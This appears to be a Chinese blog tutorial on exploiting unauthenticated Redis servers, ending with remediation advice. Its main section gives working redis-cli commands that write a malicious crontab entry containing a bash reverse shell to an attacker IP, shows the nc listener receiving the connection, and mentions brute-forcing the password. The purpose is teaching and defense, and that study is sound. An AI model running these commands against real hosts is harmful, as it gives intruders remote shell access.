Redis未授权漏洞利用

1、背景介绍

近期公司内部安装主机安全组件,检测出一些安全漏洞,其中就有利用redis未授权漏洞进行攻击。攻击的大概路径如下图,本文主要介绍如何利用redis未授权漏洞进行攻击。

Redis未授权漏洞利用_第1张图片

2、攻击原理

正常redis默认情况下,会绑定在0.0.0.0:6379,如果没有限制来源IP并且甚至没有密码,那么就会导致攻击者非法访问,并读取Redis的数据,还可以利用自身config命令进行写入操作,攻击者可将自己的ssh公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys中,进而直接使用对应私钥登录目标服务器。还可以利用redis config set dir和rdb文件和系统计划任务执行命令反弹shell。

3、产生条件

1、redis绑定在 0.0.0.0:6379,
2、主机没有配置防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网或内网
2、没有设置密码认证(默认为空),可以免密码远程登录redis服务
3、如果想高级利用,对方是以root身份启动的redis

4、反弹shell攻击介绍

Redis未授权漏洞利用_第2张图片

        常规的攻击逻辑是攻击者先ssh 连接上被攻击者的服务器,然后进行一系列的破坏或者盗取数据行为。如下图

 Redis未授权漏洞利用_第3张图片

        反弹shell是被攻击者主动连接攻击者预先设置的IP与端口。这里可能会有几点疑问
        问题一: 被攻击者为什么要主动连接攻击者的设置的IP与端口?
        答:这里连接行为肯定是攻击者做出的。
        问题二: 既然攻击者已经可以在被攻击服务器设置连接行为了,为什么不直接进行攻击,还要弄反弹 shel1 ?
        答:说明攻击者在当前的环境可以做的操作有限,需要进一步拿到更大的操作权限,比如 shel1 环境
        问题三: 攻击者为什么不直接 ssh 连接攻击?
        答:说明攻击者没有 ssh 的条件,比如防火墙,比如密码过于复杂,爆破难度大,又或者被攻击服务器只允许通过私钥连接等。

        我们攻击机连接不上,没办法连接到靶机, 换个思路,让靶机来向我们的攻击机连接。

        具体如何进行反弹shell不在这里介绍,感兴趣可以查一下相关资料。

5、单机版redis安装

  下载地址:选择对应的版本,博主选择的版本是redis-5.0.1.tar.gz,如果服务器开通外网权限也可以通过wget方式拉取。

Redis未授权漏洞利用_第4张图片

安装

yum install -y gcc
tar -zxvf redis-5.0.1.tar.gz
make
make install PREFIX=/usr/local/redis

启动:
# 第一步:从 redis 的源码目录中复制 redis.conf 到 redis 的安装目录
cp /root/redis-6.2.6/redis.conf /usr/local/redis/bin/
# 第二步:修改redis.conf配置文件
cd /usr/local/redis/bin/
vi redis.conf
# 修改内容如下:
#daemonize 的值从 no 修改成 yes
# 第三步:启动服务
./redis-server redis.conf
# 第四步:查看进程来确定redis是否启动成功,非必须
ps -ef |grep redis

6、利用redis进行反弹shell

主要是利用redis-cli客户端连接上服务器端口(默认:6379)

redis-cli -h 192.168.160.100 -p 6379 -a Aa123456
上面通过暴力破解密码获得密码。
通过 config get * 查看redis 当前 config
通过 config set dir /*** 进行当前config配置
此时攻击者可以利用这个特性设置参数:
config set dir /var/spool/cron 或 /etc
config set dbfilename root 或 crontab
然后通过set设置真正的shell脚本
set xxx  "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.160.101/4444 0>&1\n\n"

config set dir /etc/crontab

攻击者利用伪造定时任务,定时发起shell

 redis客户端命令作如下:

127.0.0.1:6379> config set dir /etc
OK
127.0.0.1:6379> config set dbfilename crontab
OK

127.0.0.1:6379> set xxx  "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.160.101/4444 0>&1\n\n"
OK
127.0.0.1:6379> save
OK

 攻击机:

[root@localhost ~]# nc -lvp 4444**
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.160.9.
Ncat: Connection from 192.168.160.9:59168. 

 如上攻击者既可以进行任何操作了。

Redis未授权漏洞利用_第5张图片

 

Redis未授权漏洞利用_第6张图片

 

7、漏洞修复建议

取消redis绑定在 0.0.0.0,任何客户端都可以连接上;端口最好不要采用默认端口
设置复杂的redis密码认证
外部访问需求的系统应该和内部系统进行网络资源隔离,并采用WAF等防火墙

参考链接


Redis未授权访问利用 - 小惜渗透 - 博客园Redis未授权访问利用 微信公众号:小惜渗透,欢迎大佬一起交流进步 正常redis默认情况下,会绑定在0.0.0.0:6379,如果没有限制来源IP并且甚至没有密码,那么就会导致攻击者非法访问,并读https://www.cnblogs.com/XXST/p/16450492.html

redis未授权访问漏洞_? Persevere?的博客-CSDN博客_redis未授权访问漏洞漏洞场景:Redis 4.x/5.x 未授权访问漏洞:因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据,其漏洞可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据,攻击者还可通过 EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接免密码登录服务器。还能被利用去挖矿。Redias:Redis的常见数据类型:①: String:字符和整型。 缓存、分布式session、分布式锁、全局IDhttps://blog.csdn.net/ad12456/article/details/124696610

linux Crontab 使用 - 落葉一飄 - 博客园cron用法说明cron的用法老是记不住,索性写下来备忘。下文内容大部分是根据《Cron Help Guide》翻译而来,有些部分是自己加上的。全文如下:cron来源于希腊单词chronos(意为“时https://www.cnblogs.com/linsond/archive/2012/06/13/2548155.html

linux中反弹shell攻击原理 - 知乎1. 常规攻击2. 反弹shell3. 反弹shell具体实现3.1 攻击端提前设置ip与端口 # 需要nc命令,安装nmap-ncat: yum install nmap-ncat -y nc -lvnp 8888 -l :使用监听模式 -v :显示详细信息 -n :直接使用ip地址,不进行…https://zhuanlan.zhihu.com/p/554541073

你可能感兴趣的:(安全及算法,运维相关,#,Redis,redis,服务器,数据库)